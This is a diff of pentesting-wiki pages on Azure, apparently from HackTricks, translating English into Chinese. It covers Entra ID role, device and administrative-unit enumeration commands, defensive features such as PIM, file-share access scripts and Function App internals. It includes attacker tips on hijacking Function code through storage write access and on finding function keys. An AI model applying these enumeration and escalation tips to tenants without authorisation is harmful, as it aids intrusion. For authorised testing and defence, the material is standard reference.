||||
@@ -779,31 +726,28 @@ Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
# Get permissions over a resource using ARM directly
|
||||
$Token = (Get-AzAccessToken).Token
|
||||
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Entra ID 角色
|
||||
|
||||
For more information about Azure roles check:
|
||||
有关 Azure 角色的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -811,55 +755,52 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List template Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
|
||||
|
||||
# List enabled built-in Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# List all Entra ID roles with their permissions (including custom roles)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
|
||||
|
||||
# List only custom Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# List all assigned Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
|
||||
|
||||
# List members of a Entra ID roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
|
||||
|
||||
# List Entra ID roles assigned to a user
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a group
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
|
||||
# List Entra ID roles assigned to a service principal
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
|
||||
--query "value[]" \
|
||||
--output json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get all available role templates
|
||||
Get-AzureADDirectoryroleTemplate
|
||||
@@ -874,23 +815,19 @@ Get-AzureADDirectoryRole -ObjectId <id> | fl
|
||||
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Devices
|
||||
### 设备
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# If you know how to do this send a PR!
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Devices
|
||||
Get-AzureADDevice -All $true | fl *
|
||||
@@ -909,17 +846,16 @@ Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
|
||||
# Get Administrative Units of a device
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
|
||||
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
|
||||
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将能够 **登录**。\
|
||||
> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**。
|
||||
|
||||
### Administrative Units
|
||||
### 管理单位
|
||||
|
||||
For more information about administrative units check:
|
||||
有关管理单位的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -927,7 +863,6 @@ For more information about administrative units check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all administrative units
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
|
||||
@@ -938,11 +873,9 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
|
||||
# Get principals with roles over the AU
|
||||
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AzureAD" }}
|
||||
|
||||
```powershell
|
||||
# Get Administrative Units
|
||||
Get-AzureADMSAdministrativeUnit
|
||||
@@ -954,82 +887,77 @@ Get-AzureADMSAdministrativeUnitMember -Id <id>
|
||||
# Get the roles users have over the members of the AU
|
||||
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
## Entra ID 特权升级
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure Privilege Escalation
|
||||
## Azure 特权升级
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Defensive Mechanisms
|
||||
## 防御机制
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
### 特权身份管理 (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
|
||||
Azure 中的特权身份管理 (PIM) 有助于 **防止不必要地将过多特权** 分配给用户。
|
||||
|
||||
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
|
||||
Note that the user will also be able to ask to **extend** the time.
|
||||
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其 **在一段时间内(例如 6 个月)有资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后 **管理员需要批准** 该请求。\
|
||||
请注意,用户还可以请求 **延长** 时间。
|
||||
|
||||
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
|
||||
此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
When PIM is enabled it's possible to configure each role with certain requirements like:
|
||||
启用 PIM 后,可以为每个角色配置某些要求,例如:
|
||||
|
||||
- Maximum duration (hours) of activation
|
||||
- Require MFA on activation
|
||||
- Require Conditional Access acuthenticaiton context
|
||||
- Require justification on activation
|
||||
- Require ticket information on activation
|
||||
- Require approval to activate
|
||||
- Max time to expire the elegible assignments 
|
||||
- A lot more configuration on when and who to send notifications when certain actions happen with that role
|
||||
- 激活的最大持续时间(小时)
|
||||
- 激活时需要 MFA
|
||||
- 需要条件访问身份验证上下文
|
||||
- 激活时需要理由
|
||||
- 激活时需要票据信息
|
||||
- 激活时需要批准
|
||||
- 过期的最大时间
|
||||
- 还有更多关于何时以及谁在某些操作发生时发送通知的配置
|
||||
|
||||
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
|
||||
### 条件访问策略 <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Check:
|
||||
检查:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
|
||||
### Entra 身份保护 <a href="#title-text" id="title-text"></a>
|
||||
|
||||
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
|
||||
Entra 身份保护是一项安全服务,允许 **检测用户或登录尝试是否过于风险** 以被接受,从而 **阻止** 用户或登录尝试。
|
||||
|
||||
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
|
||||
它允许管理员配置在风险为“低及以上”、“中等及以上”或“高”时 **阻止** 尝试。尽管默认情况下它是完全 **禁用** 的:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
|
||||
> 目前建议通过条件访问策略添加这些限制,在那里可以配置相同的选项。
|
||||
|
||||
### Entra Password Protection
|
||||
### Entra 密码保护
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
|
||||
It also allows to **ban a custom password list** that you need to provide.
|
||||
Entra 密码保护 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定帐户来帮助防止弱密码的滥用**。\
|
||||
它还允许 **禁止自定义密码列表**,该列表需要由您提供。
|
||||
|
||||
It can be **applied both** at the cloud level and on-premises Active Directory.
|
||||
它可以 **同时应用于** 云级别和本地 Active Directory。
|
||||
|
||||
The default mode is **Audit**:
|
||||
默认模式是 **审计**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,38 +1,37 @@
|
||||
# Az - File Shares
|
||||
# Az - 文件共享
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Azure Files** is a fully managed cloud file storage service that provides shared file storage accessible via standard **SMB (Server Message Block)** and **NFS (Network File System)** protocols. Although the main protocol used is SMB as NFS Azure file shares aren't supported for Windows (according to the [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). It allows you to create highly available network file shares that can be accessed simultaneously by multiple virtual machines (VMs) or on-premises systems, enabling seamless file sharing across environments.
|
||||
**Azure Files** 是一个完全托管的云文件存储服务,提供通过标准 **SMB (服务器消息块)** 和 **NFS (网络文件系统)** 协议访问的共享文件存储。尽管主要使用的协议是 SMB,但 NFS Azure 文件共享不支持 Windows(根据 [**文档**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))。它允许您创建高度可用的网络文件共享,可以被多个虚拟机 (VM) 或本地系统同时访问,从而实现跨环境的无缝文件共享。
|
||||
|
||||
### Access Tiers
|
||||
### 访问层
|
||||
|
||||
- **Transaction Optimized**: Optimized for transaction-heavy operations.
|
||||
- **Hot**: Balanced between transactions and storage.
|
||||
- **Cool**: Cost-effective for storage.
|
||||
- **Premium:** High-performance file storage optimized for low-latency and IOPS-intensive workloads.
|
||||
- **事务优化**:针对事务密集型操作进行了优化。
|
||||
- **热存储**:在事务和存储之间保持平衡。
|
||||
- **冷存储**:在存储上具有成本效益。
|
||||
- **高级存储**:针对低延迟和 IOPS 密集型工作负载进行了优化的高性能文件存储。
|
||||
|
||||
### Backups
|
||||
### 备份
|
||||
|
||||
- **Daily backup**: A backup point is created each day at an indicated time (e.g. 19.30 UTC) and stored for from 1 to 200 days.
|
||||
- **Weekly backup**: A backup point is created each week at an indicated day and time (Sunday at 19.30) and stored for from 1 to 200 weeks.
|
||||
- **Monthly backup**: A backup point is created each month at an indicated day and time (e.g. first Sunday at 19.30) and stored for from 1 to 120 months.
|
||||
- **Yearly backup**: A backup point is created each year at an indicated day and time (e.g. January first Sunday at 19.30) and stored for from 1 to 10 years.
|
||||
- It's also possible to perform **manual backups and snapshots at any time**. Backups and snapshots are actually the same in this context.
|
||||
- **每日备份**:每天在指定时间(例如 UTC 19:30)创建一个备份点,并存储 1 到 200 天。
|
||||
- **每周备份**:每周在指定的日期和时间(星期日 19:30)创建一个备份点,并存储 1 到 200 周。
|
||||
- **每月备份**:每月在指定的日期和时间(例如第一个星期日 19:30)创建一个备份点,并存储 1 到 120 个月。
|
||||
- **每年备份**:每年在指定的日期和时间(例如一月第一个星期日 19:30)创建一个备份点,并存储 1 到 10 年。
|
||||
- 也可以在任何时间执行 **手动备份和快照**。在此上下文中,备份和快照实际上是相同的。
|
||||
|
||||
### Supported Authentications via SMB
|
||||
### 通过 SMB 支持的身份验证
|
||||
|
||||
- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
|
||||
- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
|
||||
- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
|
||||
- **本地 AD DS 身份验证**:使用与 Microsoft Entra ID 同步的本地 Active Directory 凭据进行基于身份的访问。需要与本地 AD DS 的网络连接。
|
||||
- **Microsoft Entra 域服务身份验证**:利用 Microsoft Entra 域服务(基于云的 AD)使用 Microsoft Entra 凭据提供访问。
|
||||
- **用于混合身份的 Microsoft Entra Kerberos**:使 Microsoft Entra 用户能够通过互联网使用 Kerberos 进行 Azure 文件共享的身份验证。支持混合 Microsoft Entra 加入或 Microsoft Entra 加入的 VM,而无需与本地域控制器的连接。但不支持仅云身份。
|
||||
- **Linux 客户端的 AD Kerberos 身份验证**:允许 Linux 客户端通过本地 AD DS 或 Microsoft Entra 域服务使用 Kerberos 进行 SMB 身份验证。
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -54,11 +53,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -79,98 +76,87 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
|
||||
> 默认情况下,`az` cli 将使用帐户密钥来签名密钥并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login --enable-file-backup-request-intent`。
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
> 使用参数 `--account-key` 指定要使用的帐户密钥\
|
||||
> 使用参数 `--sas-token` 与 SAS 令牌一起访问
|
||||
|
||||
### Connection
|
||||
### 连接
|
||||
|
||||
These are the scripts proposed by Azure at the time of the writing to connect a File Share:
|
||||
这些是 Azure 在撰写时建议的连接文件共享的脚本:
|
||||
|
||||
You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
|
||||
您需要替换 `<STORAGE-ACCOUNT>`、`<ACCESS-KEY>` 和 `<FILE-SHARE-NAME>` 占位符。
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
```powershell
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
} else {
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Linux"}}
|
||||
|
||||
```bash
|
||||
sudo mkdir /mnt/disk-shareeifrube
|
||||
if [ ! -d "/etc/smbcredentials" ]; then
|
||||
sudo mkdir /etc/smbcredentials
|
||||
fi
|
||||
if [ ! -f "/etc/smbcredentials/<STORAGE-ACCOUNT>.cred" ]; then
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
fi
|
||||
sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
|
||||
|
||||
sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
|
||||
sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="macOS"}}
|
||||
|
||||
```bash
|
||||
open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Regular storage enumeration (access keys, SAS...)
|
||||
### 常规存储枚举(访问密钥,SAS...)
|
||||
|
||||
{{#ref}}
|
||||
az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
Same as storage privesc:
|
||||
与存储权限提升相同:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## 后期利用
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-file-share-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 持久性
|
||||
|
||||
Same as storage persistence:
|
||||
与存储持久性相同:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,114 +2,113 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
**Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
|
||||
**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行小段代码,称为 **函数**,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务的事件**,如 Blob 存储或事件中心。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java,使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
|
||||
> 请注意,**Functions 是 App Services 的一个子集**,因此,这里讨论的许多功能也将被作为 Azure Apps 创建的应用程序使用(在 cli 中为 `webapp`)。
|
||||
|
||||
### Different Plans
|
||||
### 不同计划
|
||||
|
||||
- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
|
||||
- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
|
||||
- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
|
||||
- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
|
||||
- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
|
||||
- **灵活消费计划**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。
|
||||
- **传统消费计划**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。
|
||||
- **高级计划**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。
|
||||
- **专用计划**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。
|
||||
- **容器应用**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。
|
||||
|
||||
### **Storage Buckets**
|
||||
### **存储桶**
|
||||
|
||||
When creating a new Function App not containerised (but giving the code to run), the **code and other Function related data will be stored in a Storage account**. By default the web console will create a new one per function to store the code.
|
||||
在创建一个新的非容器化的 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下,Web 控制台将为每个函数创建一个新的存储桶以存储代码。
|
||||
|
||||
Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
|
||||
此外,修改存储桶中的代码(以不同格式存储),**应用的代码将被修改为新的代码并在下次调用函数时执行**。
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
|
||||
> 从攻击者的角度来看,这非常有趣,因为 **对该存储桶的写入访问** 将允许攻击者 **破坏代码并提升权限** 到 Function App 内的托管身份。
|
||||
>
|
||||
> More on this in the **privilege escalation section**.
|
||||
> 更多信息请参见 **权限提升部分**。
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
还可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **主密钥和函数密钥**,位于 **`<app-name>`** 文件夹中的 JSON 文件内。
|
||||
|
||||
Note that Functions also allow to store the code in a remote location just indicating the URL to it.
|
||||
请注意,Functions 还允许将代码存储在远程位置,只需指明其 URL。
|
||||
|
||||
### Networking
|
||||
### 网络
|
||||
|
||||
Using a HTTP trigger:
|
||||
使用 HTTP 触发器:
|
||||
|
||||
- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
|
||||
- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
|
||||
- 可以 **允许来自所有互联网的函数访问**,而无需任何身份验证或基于 IAM 的访问。尽管也可以限制此访问。
|
||||
- 还可以 **授予或限制** 从 **内部网络 (VPC)** 访问 Function App。
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
|
||||
> 从攻击者的角度来看,这非常有趣,因为可能会从暴露在互联网上的脆弱函数 **转移到内部网络**。
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
### **Function App 设置和环境变量**
|
||||
|
||||
